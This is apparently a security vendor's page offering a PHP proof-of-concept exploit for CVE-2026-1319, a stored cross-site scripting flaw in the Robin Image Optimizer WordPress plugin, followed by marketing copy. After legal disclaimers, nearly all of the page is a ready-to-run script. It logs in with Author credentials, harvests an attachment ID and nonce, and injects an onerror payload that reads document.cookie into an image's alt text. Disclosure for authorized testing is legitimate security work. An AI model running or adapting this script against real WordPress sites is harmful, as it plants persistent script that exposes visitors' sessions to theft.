This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1319 - Robin Image Optimizer <= 2.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Image Alternative Text Field

<?php
/**
 * Proof of Concept for CVE-2026-1319
 * Requires: Author-level WordPress credentials
 * Target: Robin Image Optimizer plugin <= 2.0.2
 * Vulnerability: Stored XSS via image alternative text field
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'author_user'; // CHANGE THIS - Author-level account
$password = 'author_password'; // CHANGE THIS

// Malicious alternative text payload
$malicious_alt_text = '"><img src=x onerror=alert(document.cookie)>';

// Step 1: Authenticate and get nonce for media editing
function authenticate_and_get_nonce($target_url, $username, $password) {
    $ch = curl_init();
    
    // First, get login page to obtain nonce
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    
    $response = curl_exec($ch);
    
    // Extract login nonce (WordPress security token)
    preg_match('/name="log"[^>]*value="([^"]*)"/', $response, $log_matches);
    preg_match('/name="pwd"[^>]*value="([^"]*)"/', $response, $pwd_matches);
    
    // Perform login
    $post_fields = array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    );
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    
    // Get media library page to find an image ID and editing nonce
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/upload.php');
    curl_setopt($ch, CURLOPT_POST, false);
    
    $response = curl_exec($ch);
    
    // Extract first image ID from media library
    preg_match('/post=([0-9]+)/', $response, $image_id_matches);
    $image_id = $image_id_matches[1] ?? null;
    
    if (!$image_id) {
        echo "[!] No images found in media libraryn";
        curl_close($ch);
        return false;
    }
    
    // Get edit page for the image to obtain update nonce
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $image_id . '&action=edit');
    $response = curl_exec($ch);
    
    // Extract nonce for updating the attachment
    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
    $nonce = $nonce_matches[1] ?? null;
    
    curl_close($ch);
    
    return array('image_id' => $image_id, 'nonce' => $nonce, 'cookies' => 'cookies.txt');
}

// Step 2: Inject malicious alternative text
function inject_xss($target_url, $auth_data, $malicious_alt_text) {
    $ch = curl_init();
    
    $post_fields = array(
        'post_ID' => $auth_data['image_id'],
        '_wpnonce' => $auth_data['nonce'],
        '_wp_http_referer' => '/wp-admin/post.php?post=' . $auth_data['image_id'] . '&action=edit',
        'action' => 'editpost',
        'post_title' => 'Compromised Image',
        'image_alt' => $malicious_alt_text, // Vulnerable parameter
        'save' => 'Update'
    );
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $auth_data['cookies']);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    
    // Check if injection was successful
    if (strpos($response, 'Post updated') !== false || strpos($response, 'Attachment updated') !== false) {
        echo "[+] XSS payload injected successfully!n";
        echo "[+] Image ID: " . $auth_data['image_id'] . "n";
        echo "[+] Payload: " . htmlspecialchars($malicious_alt_text) . "n";
        echo "[+] The payload will execute when users view pages containing this imagen";
    } else {
        echo "[!] Injection failed. Check credentials and permissions.n";
    }
    
    curl_close($ch);
    
    // Clean up cookie file
    if (file_exists($auth_data['cookies'])) {
        unlink($auth_data['cookies']);
    }
}

// Main execution
if ($target_url === 'https://vulnerable-wordpress-site.com') {
    echo "[!] Please update the target URL and credentials in the script.n";
    exit(1);
}

echo "[+] CVE-2026-1319 Proof of Conceptn";
echo "[+] Target: " . $target_url . "n";
echo "[+] Attempting authentication...n";

$auth_data = authenticate_and_get_nonce($target_url, $username, $password);

if ($auth_data) {
    echo "[+] Authentication successfuln";
    echo "[+] Image ID: " . $auth_data['image_id'] . "n";
    echo "[+] Nonce obtainedn";
    echo "[+] Injecting XSS payload...n";
    
    inject_xss($target_url, $auth_data, $malicious_alt_text);
} else {
    echo "[!] Authentication failed or no images foundn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School